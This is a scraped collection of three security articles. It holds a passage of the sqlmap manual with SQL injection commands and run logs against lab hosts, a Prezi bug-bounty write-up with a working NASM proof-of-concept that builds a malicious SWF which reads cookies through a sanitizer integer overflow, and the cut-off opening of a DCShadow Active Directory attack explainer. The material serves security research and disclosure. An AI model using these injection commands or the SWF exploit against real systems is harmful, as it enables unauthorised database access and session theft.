>     master..syslogins WHERE name NOT IN (SELECT TOP 2 name FROM
> master..syslogins ORDER BY name)
>     ORDER BY name
>     100% [====================================================] 25/25  
>     [hh:mm:00] [INFO] performed 181 queries in 1 seconds
>     database management system users [3]:
>     [*] BUILTIN\Administrators
>     [*] sa
>     [*] W2KITINQUIS\Administrator
>  
[/code]

As you can see, sqlmap first calculates the length of the query output, then
estimated the time of arrival, shows the progress in percentage and counts the
number of retrieved query output characters.

### Update sqlmap to the latest stable version

Option: `--update`

It is possible to update sqlmap to the latest stable version available on its
SourceForge File List page by running it with the `--update` option.

>
[code]

>     $ python sqlmap.py --update -v 4
>  
>     [hh:mm:53] [DEBUG] initializing the configuration
>     [hh:mm:53] [DEBUG] initializing the knowledge base
>     [hh:mm:53] [DEBUG] cleaning up configuration parameters
>     [hh:mm:53] [DEBUG] setting the HTTP method to perform HTTP requests
> through
>     [hh:mm:53] [DEBUG] creating HTTP requests opener object
>     [hh:mm:53] [INFO] updating sqlmap
>     [hh:mm:53] [DEBUG] checking if a new version is available
>     [hh:mm:55] [TRAFFIC OUT] HTTP request:
>     GET /doc/VERSION HTTP/1.1
>     Host: sqlmap.sourceforge.net
>     User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
>     Connection: close
>  
>     [hh:mm:55] [TRAFFIC IN] HTTP response (OK - 200):
>     Date: Fri, 01 Aug 2008 14:50:55 GMT
>     Server: Apache/1.3.33 (Unix) PHP/4.3.10
>     Last-Modified: Thu, 31 Jul 2008 11:10:19 GMT
>     ETag: "9fcc53e-4-48919d9b"
>     Accept-Ranges: bytes
>     Content-Length: 4
>     Connection: close
>     Content-Type: text/plain
>     X-Pad: avoid browser bug
>  
>     [hh:mm:55] [INFO] you are already running sqlmap latest stable version
>     [hh:mm:55] [INFO] updating Microsoft SQL Server XML versions file
>     [hh:mm:56] [TRAFFIC OUT] HTTP request:
>     GET /FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx HTTP/1.1
>     Host: www.sqlsecurity.com
>     User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
>     Cookie:
> .ASPXANONYMOUS=dvus03cqyQEkAAAANDI0M2QzZmUtOGRkOS00ZDQxLThhMTUtN2ExMWJiNWVjN2My0;
>     language=en-US
>     Connection: close
>  
>     [hh:mm:02] [TRAFFIC IN] HTTP response (OK - 200):
>     Cache-Control: private
>     Connection: close
>     Date: Fri, 01 Aug 2008 14:50:50 GMT
>     Content-Length: 167918
>     Content-Type: text/html; charset=utf-8
>     Server: Microsoft-IIS/6.0
>     X-Powered-By: ASP.NET
>     X-AspNet-Version: 2.0.50727
>     Set-Cookie:
> .ASPXANONYMOUS=dvus03cqyQEkAAAANDI0M2QzZmUtOGRkOS00ZDQxLThhMTUtN2ExMWJiNWVjN2My0;
>     expires=Fri, 10-Oct-2008 01:30:49 GMT; path=/; HttpOnly
>     Set-Cookie: language=en-US; path=/; HttpOnly
>  
>     [hh:mm:02] [INFO] no new Microsoft SQL Server versions since the last
> update
>     [hh:mm:02] [DEBUG] parsing XML queries file
>  
[/code]

As you can see, sqlmap first check if a new stable version is available, then
in case it is, download it, unzip it and update the Microsoft SQL Server XML
versions file from Chip Andrews' SQLSecurity.com site.

Note that the default configuration file `sqlmap.conf` is backupped to
`sqlmap.conf.bak` in case a new stable version is available and your copy is
updated.

### Save and resume all data retrieved on a session file

Option: `-s`

It is possible to log all queries and their output on a text file while
performing whatever request, both in blind SQL injection and in inband SQL
injection. This is useful if you stop the injection and resume it after some
time.

Example on a **PostgreSQL 8.3.5** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -b \
>       -v 1 -s "sqlmap.log"
>  
>     [...]
>     back-end DBMS:  PostgreSQL
>     [hh:mm:02] [INFO] query: VERSION()
>     [hh:mm:02] [INFO] retrieved: PostgreSQL 8.3.5 on i486-pc-^C
>     [hh:mm:03] [ERROR] user aborted
>  
[/code]

As you can see, I stopped the injection with `CTRL-C` while retrieving the
PostgreSQL banner and logged the session to text file `sqlmap.log`.

>
[code]

>     $ cat sqlmap.log
>  
>     [hh:mm:00 MM/DD/YY]
>     [http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][Injection
> point][GET]
>     [http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][Injection
> parameter][id]
>     [http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][Injection
> type][numeric]
>
> [http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][Parenthesis][0]
>
> [http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][CONCAT('9',
> '9')][]
>
> [http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][LENGTH(SYSDATE)][]
>
> [http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][COALESCE(3,
> NULL)][3]
>
> [http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][LENGTH('3')][1]
>
> [http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][DBMS][PostgreSQL]
>
> [http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][VERSION()][PostgreSQL
> 8.3.5
>     on i486-pc-
>  
[/code]

As you can see, all queries performed and their output have been logged to the
session file in real time while performing the injection.

The session file has a structure as follows:

>
[code]

>     [hh:mm:ss MM/DD/YY]
>     [Target URL][Injection point][Parameters][Query or information
> name][Query output or value]
>  
[/code]

Performing the same request now, sqlmap resumes all information already
retrieved then calculates the query length, in the example `VERSION()`, and
resumes the injection from the last character retrieved to the end of the
query output.

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -b \
>       -v 1 -s "sqlmap.log"
>  
>     [...]
>     [hh:mm:03] [INFO] resuming injection point 'GET' from session file
>     [hh:mm:03] [INFO] resuming injection parameter 'id' from session file
>     [hh:mm:03] [INFO] resuming injection type 'numeric' from session file
>     [hh:mm:03] [INFO] resuming 0 number of parenthesis from session file
>     [hh:mm:03] [INFO] resuming back-end DBMS 'PostgreSQL' from session file
>     [hh:mm:03] [INFO] testing connection to the target url
>     [hh:mm:03] [INFO] testing for parenthesis on injectable parameter
>     [hh:mm:03] [INFO] retrieving the length of query output
>     [hh:mm:03] [INFO] query: LENGTH(VERSION())
>     [hh:mm:03] [INFO] retrieved: 98
>     [hh:mm:03] [INFO] resumed from file 'sqlmap.log': PostgreSQL 8.3.5 on
> i486-pc-...
>     [hh:mm:03] [INFO] retrieving pending 70 query output characters
>     [hh:mm:03] [INFO] query: SUBSTR((VERSION())::text, 29, 98)
>     [hh:mm:03] [INFO] retrieved: linux-gnu, compiled by GCC gcc-4.3.real
>     (Ubuntu 4.3.2-1ubuntu11) 4.3.2
>     web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
>     web application technology: PHP 5.2.6, Apache 2.2.9
>     back-end DBMS operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
>     back-end DBMS: PostgreSQL
>  
>     [hh:mm:07] [INFO] fetching banner
>     banner:    'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC
> gcc-4.3.real
>     (Ubuntu 4.3.2-1ubuntu11) 4.3.2'
>  
[/code]

### Save options on a configuration INI file

Option: `--save`

It is possible to save the command line options to a configuration INI file.

Example on a **PostgreSQL 8.3.5** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -b \
>       -v 1 --save
>  
>     [hh:mm:33] [INFO] saved command line options on
> '/software/sqlmap/sqlmap-SAUbs.conf'
>     configuration file
>     [hh:mm:33] [INFO] testing connection to the target url
>     [hh:mm:33] [INFO] testing if the url is stable, wait a few seconds
>     [...]
>  
[/code]

As you can see, sqlmap saved the command line options to a configuration INI
file, `sqlmap-SAUbs.conf`.

>
[code]

>     $ cat sqlmap-SAUbs.conf
>     [Target]
>     url = http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1
>     googledork =
>     list =
>  
>     [Request]
>     threads = 1
>     useragentsfile =
>     atype =
>     agent =
>     delay = 0
>     headers =
>     cookie =
>     proxy =
>     timeout = 30
>     acred =
>     referer =
>     data =
>     method = GET
>  
>     [Miscellaneous]
>     updateall = False
>     sessionfile =
>     eta = False
>     batch = False
>     cleanup = False
>     verbose = 1
>  
>     [Enumeration]
>     dumpall = False
>     limitstop = 0
>     getusers = False
>     isdba = False
>     getpasswordhashes = False
>     excludesysdbs = False
>     getcurrentdb = False
>     gettables = False
>     dumptable = False
>     db =
>     limitstart = 0
>     getprivileges = False
>     sqlshell = False
>     tbl =
>     getcolumns = False
>     query =
>     getdbs = False
>     user =
>     col =
>     getcurrentuser = False
>     getbanner = True
>  
>     [File system]
>     dfile =
>     wfile =
>     rfile =
>  
>     [Takeover]
>     msfpath =
>     osshell = False
>     ossmb = False
>     privesc = False
>     ospwn = False
>     tmppath =
>     oscmd =
>     osbof = False
>  
>     [Fingerprint]
>     extensivefp = False
>  
>     [Injection]
>     dbms =
>     string =
>     postfix =
>     regexp =
>     prefix =
>     testparameter =
>     estring =
>     eregexp =
>     os =
>  
>     [Techniques]
>     stackedtest = False
>     utech =
>     unionuse = False
>     timetest = False
>     uniontest = False
>  
[/code]

The file is a valid sqlmap configuration INI file. You can edit the
configuration options as you wish and pass it to sqlmap with the `-c` option
as explained above in section 5.2:

>
[code]

>     $ python sqlmap.py -c "sqlmap-SAUbs.conf"
>  
>     [...]
>     [hh:mm:16] [INFO] performed 657 queries in 6 seconds
>  
>     banner:    'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC
> gcc-4.3.real
>     (Ubuntu 4.3.2-1ubuntu11) 4.3.2'
>  
[/code]

### Act in non-interactive mode

Option: `--batch`

If you want sqlmap to run as a batch tool, without interacting with you in
case of a choice has to be done, you can force it by using `--batch` option
than letting sqlmap go for a default behaviour.

Example on a **MySQL 5.0.67** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/mysql/get_int_str.php?id=1&name=luther" \
>       --batch -v 1
>  
>     [hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic
>     [hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic
>     [hh:mm:22] [INFO] GET parameter 'id' is dynamic
>     [hh:mm:22] [INFO] testing sql injection on GET parameter 'id' with 0
> parenthesis
>     [hh:mm:22] [INFO] testing unescaped numeric injection on GET parameter
> 'id'
>     [hh:mm:22] [INFO] confirming unescaped numeric injection on GET
> parameter 'id'
>     [hh:mm:22] [INFO] GET parameter 'id' is unescaped numeric injectable
> with 0 parenthesis
>     [hh:mm:22] [INFO] testing if GET parameter 'name' is dynamic
>     [hh:mm:22] [INFO] confirming that GET parameter 'name' is dynamic
>     [hh:mm:22] [INFO] GET parameter 'name' is dynamic
>     [hh:mm:22] [INFO] testing sql injection on GET parameter 'name' with 0
> parenthesis
>     [hh:mm:22] [INFO] testing unescaped numeric injection on GET parameter
> 'name'
>     [hh:mm:22] [INFO] GET parameter 'name' is not unescaped numeric
> injectable
>     [hh:mm:22] [INFO] testing single quoted string injection on GET
> parameter 'name'
>     [hh:mm:22] [INFO] confirming single quoted string injection on GET
> parameter 'name'
>     [hh:mm:22] [INFO] GET parameter 'name' is single quoted string
> injectable with 0 parenthesis
>     [hh:mm:22] [INFO] there were multiple injection points, please select
> the one to use to go
>     ahead:
>     [0] place: GET, parameter: id, type: numeric (default)
>     [1] place: GET, parameter: name, type: stringsingle
>     [q] Quit
>     Choice: 0
>     [hh:mm:22] [DEBUG] used the default behaviour, running in batch mode
>     [...]
>     back-end DBMS:  MySQL >= 5.0.0
>  
[/code]

As you can see, sqlmap choosed automatically to injection on the first
vulnerable parameter which is the default behaviour.

### Clean up the DBMS by sqlmap specific UDF and tables

Option: `--cleanup`

This paragraph will be written for sqlmap 0.7 stable version, refer to the
white paper Advanced SQL injection to operating system full control for the
moment.

## 6. Disclaimer

sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
A PARTICULAR PURPOSE. See the GNU General Public License for more details.

Whatever you do with this tool is uniquely your responsability. If you are not
authorized to punch holes in the network you are attacking be aware that such
action might get you in trouble with a lot of law enforcement agencies.

## 7. Author

Bernardo Damele A. G. \(inquis\) - Lead developer. PGP Key ID: 0x05F5A30F

# gynvael.coldwind//vx.log

**Created:**| _3/30/2014 4:02:29 PM_  
---|---  
**Updated:**| _3/30/2014 4:02:29 PM_  
**Author:**| __  
**Tags:**| _web-app-sec integer overflows_  
  

# gynvael.coldwind//vx.log

2014-03-27:

## Integer overflow into XSS and other fun stuff - a case study of a bug
bounty

bug bounty

Some time ago I decided to spend a few evenings playing with bug bounties.
I've looked around and finally decided to focus on Prezi, since, being a user
of their product, I was already somewhat familiar with it. As I seem to be
naturally drawn to low-level areas, this quickly turned into an ActionScript
reverse-engineering exercise with digging into the internals of SWF file
format. I found a couple of interesting and fun bugs \(e.g. an integer
overflow that led to ActionScript code execution - you don't commonly see
these this far from the C/C++ kingdom\), and a few of them are worth sharing
in my opinion.  
  
At the bottom of the post I've put some information about the tools I've used,
just in case you're curious.  
  
Random announcement not really having anything to do with the post: Dragon
Sector is looking for sponsors that would help us play at DEF CON CTF. Thank
you. Now back to our show\!

## What is Prezi?

Before I get to the juicy part, let's do a really quick intro to get everyone
into context: Prezi \(prezi.com\) is basically a huge Flash application that
allows you to make cool-looking animated presentations in a really easy way.
They provide both online service and storage, and a desktop version which
basically is just a standalone Flash application; I focused only on the online
application and the surrounding web service.  
  
As far as Prezi Bug Bounty Program goes, you can read all about it at
http://prezi.com/bugbounty/. I'll just add that everything \(communication,
fixing bugs, etc\) went smoothly and that Prezi has a really friendly security
team :\)

## Bug 1: SWF sanitization incomplete blacklist into AS code execution \(XSS\)

One of Prezi's features is embedding user-provided Flash applets into the
presentation. Of course, before the SWF is embedded, it's scrubbed for any
parts that contain ActionScript or import other SWF files - this is done to
prevent executing user's \(attacker's\) code. As soon as the SWF is clean, it
gets loaded into the Prezi's context.  
  
The SWF \(under the optional DEFLATE compression layer\) is basically a chunk
based format. Each chunk starts with a header \(and the data follows\), that
looks like this:  
  
`Short chunk: [ data size (6 bits) ][ tag ID (10 bits) ]  
Long chunk: [ 0x3f ][ tag ID (10 bits) ][ data size (32 bits) ]`  
Both the formats of the chunks and the tag IDs are defined in "SWF File Format
Specification" released by Adobe. As of today the current version is 19
updated April 23, 2013, and as to be expected, it has "only" 243 pages. There
are currently 94 tag IDs defined \(from 0 to 93, with a couple missing, e.g.
ID 92 or ID 79-81\), with some of them being just iterations of a given chunk
type \(e.g. ID 2 - DefineShape, ID 22 - DefineShape2, ID 32 - DefineShape3 and
ID 83 - DefineShape4\).  
  
As mentioned, the scrubbing basically went after the chunks which might lead
to code execution - if such chunk was found, it was removed from the SWF.  
  
There are basically three groups of chunks that may result in code execution:

  1. Chunks which just execute code, e.g. ID 59 - DoInitAction or ID 12 - DoAction.
  2. Chunks which import resources \(chunks\) from other SWF files, e.g. ID 57 - ImportAssets or the second version of this chunk with ID 71.
  3. Chunks representing graphical objects which may have some actions defined - e.g. ID 7 DefineButton, which can perform actions \(i.e. run ActionScript\) when e.g. it's clicked.

As one can imagine, Prezi did contain three functions responsible for
recognizing these groups:  
  
`private static function isTagTypeCode(param1:uint) : Boolean  
{  
return param1 == 12 || param1 == 59 || param1 == 76 || param1 == 82;  
}// end function  
  
private static function isTagTypeImports(param1:uint) : Boolean  
{  
return param1 == 57 || param1 == 71;  
}// end function  
  
private static function isTagTypeContainsActions(param1:uint) : Boolean  
{  
return param1 == 7 || param1 == 26 || param1 == 34 || param1 == 39 || param1
== 70;  
}// end function`  
Here's the catch: **isTagTypeContainsActions was never called**. So basically
embedding a Flash file with e.g. a button that had actions defined \(e.g. the
"on mouse over" action\) led to arbitrary ActionScript code execution in the
context of Prezi, which is basically an XSS \(and a stored/wormable at that\).  
  
<img src='img/Temp2_10286.png' />  
  
The tricky part with the fix here is that ideally you don't want to remove
graphical elements from the SWF, so removing whole chunks in this case is an
overkill. What you want to do is to remove the actions alone and that requires
more code and digging deeper into the format, making the simple solution more
complex.  
  
On a more general note: using blacklist is usually a bad idea; for example, a
new SWF File Format Specification comes out with Tag ID 95 defined as
DoInitAction2 and you have to update the application. You miss a beat and you
have an XSS again. A cleaner solution here would be to have a whitelist of
allowed tags and just remove everything else.

## Bug 2: Integer overflow in AS into XSS

Digging deeper into the chunk removing code I notice the following code:  
  
`private static function skipTag(param1:ByteArray) : void  
{  
var _loc_2:* = getTagLengthAndSkipHeader(param1);  
param1.position = param1.position + _loc_2;  
return;  
}// end function`  
The **red** line retrieves an attacker-controlled chunk length from the SWF
file - as noted in the previous bug, for long chunks this can be a a 32-bit
value, and the returned type is **uint**.  
  
The **yellow** line does basically an addition assignment to basically skip
past the chunk-that-is-OK in the data stream. The **param1.position** is also
**uint** according to AS documentation.  
  
You know here this is going :\)  
  
In ActionScript **uint** is a 32-bit unsigned value with modulo arithmetic, so
the result of the above addition is also truncated to 32-bit, regardless of
its true value. So yes, it's an integer overflow. And it allowed one to bypass
the SWF sanitizer.  
  
Exploiting this turned out to be quite interesting and included a small twist
which made things even more entertaining.  
  
Starting with the basic idea, here is how the sanitizer worked from a high
level perspective \(in pseudocode; I'll omit code added after patching
previous bug, since it changes nothing\):  
  
`SWF = decompress(SWF)  
SWF.position ← 0  
SWF.headers.fileLength ← SWF.length  
skip SWF headers  
while SWF.bytesAvailable > 0 {  
if Tag at SWF.position is in blacklist {  
eraseTag()  
continue  
}  
skipTag()  
}`  
The skipTag was already shown above, so that leaves just the eraseTag method:  
  
`old_position ← SWF.position  
skipTag()  
temp_buffer ← new ByteArray()  
temp_buffer.writeBytes(SWF.readFromPositionToEOF())  
SWF.position ← old_position  
SWF.writeBytes(temp_buffer)  
SWF.length ← old_position + temp_buffer.length  
SWF.position ← old_position`  
So eraseTag basically copies whatever is past the tag-to-be-removed on top of
that tag and fixes the total data size \(SWF.length\) afterwards.  
  
The above allows us to basically jump backwards into a middle of a chunk
\(that's the consequence of the integer overflow\) and remove however many
bytes we like. This of course leads to changing how the Adobe Flash SWF
interpreter will see the file, which is different than how the sanitizer
originally saw it.  
  
Let's look at an example:

<img src='img/Temp2_10288.png' />

So basically this is what's happening here \(in chronological order\):

  * The sanitizer reaches the overflowing tag and jumps backward into the first shown tag's data.
  * The data contains a valid chunk header, which described a tag which is on the blacklist. This chunk gets removed.
  * The next tag \(which originally was just second chunk's data\) has a huge length which sends the sanitizer to EOF and so the sanitizer exits.
  * When the Adobe Flash SWF parsers sees the output, it sees the "send to EOF" chunk, the overflowing chunk and the padding just as the first tags data, and ignores is \(ShowFrame has no meaningful data from SWF parsers perspective\).
  * And it reaches the hidden "evil" tags which contain ActionScript to execute. The sanitizer never had a chance to see and sanitize these tags, since it was sent backwards and then to EOF.

Now, here's the catch: Prezi's sanitizing code has a bug which triggers a
quirky behavior in Adobe Flash, which prevents execution of any ActionScript.  
  
Remember these lines?  
  
`SWF = decompress(SWF)  
...  
SWF.headers.fileLength ← SWF.length`  
This fixes the SWF length after decompression. However, the file length in the
SWF headers should also be fixed if any chunk gets removed and it's not. For
some reason incorrect size causes Flash to ignore any ActionScript \(I never
got into the bottom of why exactly is this happening though; though it acted
very peculiarly\).  
  
So, to exploit this I needed to make the sanitizer fix the headers for me.
This turned out to be both simple and a little more tricky. Simple, because
the overflow allowed me to send the sanitizer back as far as I wanted - e.g.
to the beginning of the SWF headers. And more tricky, because the DWORD
representing the file size is just after the SWF magic and version, so that
means I had to make the file size be at the same time a valid chunk header for
a blacklisted chunk \(but that turned out to not be a problem\).  
  
The final setup looked like this \(in the data of the hidden junks the
sanitizer was sent to EOF of course\):

<img src='img/Temp2_10287.png' />

The NASM code \(it's the way I prefer to generate simple binary files - don't
worry, it's "Ange Approved" ;>\) to generate a PoC according to the above
schema looks like this:  
  
`[bits 32]  
org 0  
start:  
  
; SWF file  
  
; ----------------------- HEADERS  
db "FWS"  
db 6 ; version 6  
  
size_of_data_header:  
dd end_of_file ; size of data  
  
db 0x78, 0, 5,0x5f,0,0,0xf,0xa0,0; RECT (200x200)  
  
db 0, 12 ; 12.0 FPS  
dw 1 ; 1 Frame  
  
; ----------------------- TAGS  
%macro TAG_SHORT 2  
dw (%2 | %1 <<6)  
%endmacro  
  
%macro TAG_LONG 2  
%2:  
dw (0x3f | %1 << 6)  
dd .end - ($ + 4)  
%endmacro  
  
%macro TAG_LONG_MANUAL 2  
dw (0x3f | %1 << 6)  
dd %2  
%endmacro  
  
%define TAG_End 0  
%define TAG_ShowFrame 1  
%define TAG_DefineShape 2  
%define TAG_SetBackgroundColor 9  
%define TAG_PlaceObject2 26  
%define TAG_DoAction 12  
  
; Start of tags.  
  
; Trigger the integer overflow to go back to the size of data field  
TAG_LONG_MANUAL TAG_ShowFrame, -(($ - size_of_data_header) + 4)  
times 41 db 0xaa  
  
; Data continues here.  
; Or actually it's the headers we need to rebuild.  
  
dd 766 ; New file size. It's equal to tag 11, size 62  
db 0x78, 0, 5,0x5f,0,0,0xf,0xa0,0; RECT (200x200)  
  
db 0, 12 ; 12.0 FPS  
dw 1 ; 1 Frame  
  
; There are 47 bytes left here before that crazy thing returns.  
; times 47 db 0xaa  
TAG_LONG TAG_DoAction, MyAction1  
; ACTIONSCRIPT v2  
db 0x83  
dw .StringsEnd1 - ($ + 2) ; Size  
db "javascript:prompt(document.domain,"  
; Fun fact - in 4 bytes the crazy thing returns.  
db '" '  
; It's here. Well, send it back to the void or something.  
db 0x3f ; Long tag size. (it's actually '?')  
db ':' ; Tag ID. Whatever.  
db ' ' ; 0x20202020 - this should be enough to get rid of it for good.  
db '" + ' ; And were done here.  
; Let's continue were we left, shall we?  
db "document.cookie);", 0  
db "", 0 ; _blank  
.StringsEnd1:  
.ActionsEnd: db 0 ; EndOfAction Flag  
.end  
  
TAG_SHORT TAG_ShowFrame, 0  
TAG_LONG TAG_End, MyEnd  
  
; End.  
; 12 << 6 == 768  
; + 0x3e == 830  
times (((12 << 6) | 0x3e) - ($-start)) db 0xcc  
.end:  
end_of_file:`  
Of course ideally you wouldn't redirect the sanitizer into the middle of your
AS/JS payload, but it's just a PoC, so no sense thinking too much about it I
guess; especially that it worked:  
  
<img src='img/Temp2_10289.png' />  
  
Again, I would classify this as a stored/wormable XSS.

## Bug 3 \(unexploitable\): Abusing the AES-128-CBC IV

Let's document some failures as well :\)  
  
This bug did exist \(so it wasn't a false-positive\), but it turned out to be
non-exploitable due to how bloated the SWF headers are. Still, it's a pretty
fun example of what you can attempt to do with crypto in certain, very
specific, scenarios.  
  
Let's start by discussing how Prezi is \(was\) loaded \(I'll simplify it a
little to focus on the important part\):

  1. The website actually embeds a loader \(called preziloader-\*.swf\).
  2. The loader fetches a 128-bit AES key and a 128-bit AES IV key from /api/embed \(yes, it's a relative path\).
  3. The loader loads into a ByteArray the main module: main-\*.swf from \*.prezi.com \(the domain is verified\). 
  4. The first 2064 bytes of the main SWF file are decrypted using AES-128-CBC, using the retrieved keys. The rest of the bytes are already plain-text.
  5. The main SWF is loaded into the same security context.

This means that:

  * We don't control main-\*.swf at all.
  * But we do control both AES key and IV.

And, whoever controls the AES-128-CBC IV, fully controls the first 16 bytes of
the decrypted main-\*.swf.  
  
This is because AES in CBC mode works like this:

  1. Take the next 16-byte block.
  2. Decrypt the block using AES KEY and AES algorithm.
  3. **XOR the result with the 16-byte IV** and that's the decrypted block.
  4. GOTO 1 until end of data.

So basically:

  1. The we know the result of the decryption of the first block \(we can just grab main-\*.swf and decrypt it using either their AES key or a different key that will give "wrong" data, that doesn't really matter\).
  2. And we can choose what to XOR it with \(IV\).

So, basically, we choose the result of the decryption of the first block\*
\(and get trashed data in all the other blocks\).  
\* - actually, if we think of the data as 16-byte rows, then we control one
byte in each column, in a row of our choice; all bytes don't have to be in the
same row.  
  
There are a couple of important things to note:

  * The IV gives us only 16-bytes to control.
  * Doing some AES key brute forcing it might be possible to control additionally 2-5 bytes - however the time to get the additional bytes grows exponentially - it's 256\*\*N operations \(AES decryptions\) basically, where N is the number of additional bytes we would like to control. This is also tricky for another reason \(it will create additional constraints for byte values due to the IV changes we will have to make\).
  * Prezi actually uses AES-128-CBC with PKCS\#5, so padding bytes have to have the value of padding length \(e.g. 5-byte padding has to look like this: 05 05 05 05 05\). And remember: if we choose a different key/IV, the original padding will be destroy. This can be bypassed by choosing such an IV, that the last byte in the last block is 0x00 or 0x01 \(then the padding is not checked because it's assumed that there is no padding at all, or it's a one-byte padding only\). So this is not a huge problem.
  * If we choose the ZWS format for the SWF file, Prezi loader is nice enough to fix the magic and file size in the SWF header, so that's 7 bytes we wouldn't have to worry about. But there is an additional LZMA header which we would have to start worrying about, so it gives us nothing.
  * Probably some of the bytes in the SWF header can have a broken value and the SWF will still work. So we don't have to worry about these bytes.

To sum up: we would control about 18-21 bytes, wouldn't have to worry about a
few more and everything else would be "random bytes" \(the result of
decrypting data with wrong key and IV\).  
  
Sadly/thankfully \(depending on the perspective\) in the end this is not
exploitable with SWFs, because one would need to control about 50 bytes of SWF
to make a valid file that has some meaningful code which gives you code
execution. So... close, but no cigar :\)

## Tools used

In no particular order:

  * **Sothink SWF Decompiler** \- Pretty fast and accurate tool. Had minor problems with a function or two, but that's still really good. You can re-compile the code it generates without any changes at all \(very useful for testing\).
  * **JPEXS Free Flash Decompiler** \(aka FFDec\) - A free and opensource SWF decompiler. Takes its time when decompiling, but sometimes does a better job than Sothink. It can also extract SWF files from process' \(think: browser's\) memory - this proved useful. I didn't try to re-compile the code it generates.
  * **Netwide Assembler** \(aka NASM\) - An x86 assembler which I commonly misuse to assemble non-complex binary files.
  * **Adobe Flex** \- Your basic ActionScript compiler.
  * **Python** \- For additional scripts and mini-tools.
  * **Firefox + Fiddler** \- HTTP communication monitoring.

And that's about it. Let me know if you have any questions or if I got
something wrong.  

# DCShadow explained – Alsid blog

**Created:**| _3/7/2018 8:39:31 AM_  
---|---  
**Updated:**| _3/7/2018 8:39:31 AM_  
**Author:**| _wishi_  
**Tags:**| _active directory_  
  

  

# DCShadow explained: A technical deep dive into the latest AD attack
technique

<img src='img/Temp2_1805.png' width='75' height='25' /><img
src='img/1*wVu4pcIZMOReI8EtgQNsTA.jpeg' width='700' height='233' />

**Update 19/02/2018** : Add a reference to Uncover-DCShadow, a proof of
concept helping Blue teams to detect DCShadow attack.

On January 24th 2018, Benjamin Delpy and Vincent Le Toux, two security
researchers, have released during the “BlueHat IL” security conference a new
attack technique against Active Directory infrastructure. Named “DCShadow”,
this attack allows an attacker having the appropriate rights to create a rogue
domain controller able to replicate malicious objects into a running Active
Directory infrastructure.

In this article, we will explain the technical foundations the attack relies
on and discuss the consequences for the security of a running Active Directory
infrastructure. Finally, we will shed a light on how blue teams could detect
this kind of attack.

### What is the DCShadow attack and why is it new?

The holy grail for red teamers or attackers willing to compromise an Active
Directory infrastructure is to be able to obtain users and computers
credentials without being noticed by detection countermeasures.

For this purpose, several attack techniques have been developed through time:
LSASS injection, abusing Shadow Copy, NTFS volume parsing, ESE NT operations,
sensitive attribute manipulation, etc. More details are available on the
impressive synthesis from ADSecurity.org.

Among all these noisy attacks, one of them is connected to the “DCShadow”
attack. Introduced in 2015, the “DCSync” attack relies on the ability for the
members of the Domain Admins or Domain Controllers groups to ask a domain
controller \(DC\) for data replication \(to achieve this task, the
GetChangeAll right, granted by default to administrative accounts and DCs, was
necessary\). In fact, as described in the MS-DRSR specification for domain
controller replication, these groups can request the Domain Controller to
replicate AD objects \(including user credentials\) through the GetNCChanges
RPC. More technical details on the attacks are available on the ADSecurity.org
blogpost.

<img src='img/Temp2_1804.png' width='75' height='43' /><img
src='img/1*wI6Mx0NN4lMPG8XqKcuc9A.png' width='700' height='412' />

DCSync attack with mimikatz tool

One of the main limitation of the “DCSync” attack is the impossibility for an
attacker to inject new objects in the targeted AD domain. Of course, this
attacker could take ownership of an administrative account using the good old
Pass-The-Hash technique and inject objects afterwards, but it requires more
efforts, more steps, meaning a greater probability of being busted by blue
teams. The “DCShadow” attack removes this limitation by _reversing_ the
“DCSync” attack paradigm.

With “DCShadow”, attackers no longer try to replicate data but will register
new domain controllers in the targeted infrastructure to inject Active
Directory objects or alter existing ones \(by replacing the attributes’
content\). The idea of a rogue domain controller is not new and has been
mentioned multiple times in previous security publications but required
invasive techniques \(like installing a virtual machine with Windows Server\)
and to log on a regular domain controller to promote the VM into a DC for the
targeted domain. Not very discrete.

<img src='img/Temp2_1803.png' width='75' height='56' /><img
src='img/1*9SppALm1YZtBNJXi_6tgMg.png' width='700' height='531' />

Eventlog generated during a regular DC promotion

In order to understand the genius ideas behind “DCShadow”, it is important to
clearly grasp what a domain controller is and how it is registered in the
Active Directory infrastructure.

### Understanding what a domain controller is

As described in MS-ADTS \(Active Directory Technical Specification\), Active
Directory is a multi-master architecture relying on dedicated services. The DC
is the service \(or the server hosting this service depending on your point of
view\) which hosts the data store for AD objects and interoperates with other
DCs to ensure that a local change to an object replicates correctly across all
DCs.

When a DC is operating as RW DC, the DC contains full naming context \(NC\)
replicas of the configuration, the schema, and one of the domain naming
context of its forest. In this way, every RW DC holds all objects of a domain,
including credentials and any kind of secrets \(like private or session
keys\). As such, there is no need to remind that DCs are the one and only
elements blue teams should be focused on protecting \(Administrative accounts
or permissions are just two of the many ways to access a DC\).

### Services provided by a domain controller

Describing in detail the technical ways and means of a DC could be complex and
will not help to understand the purpose of the “DCShadow” attack. To be
concise, a server can be called a domain controller if it offers the following
4 key components:

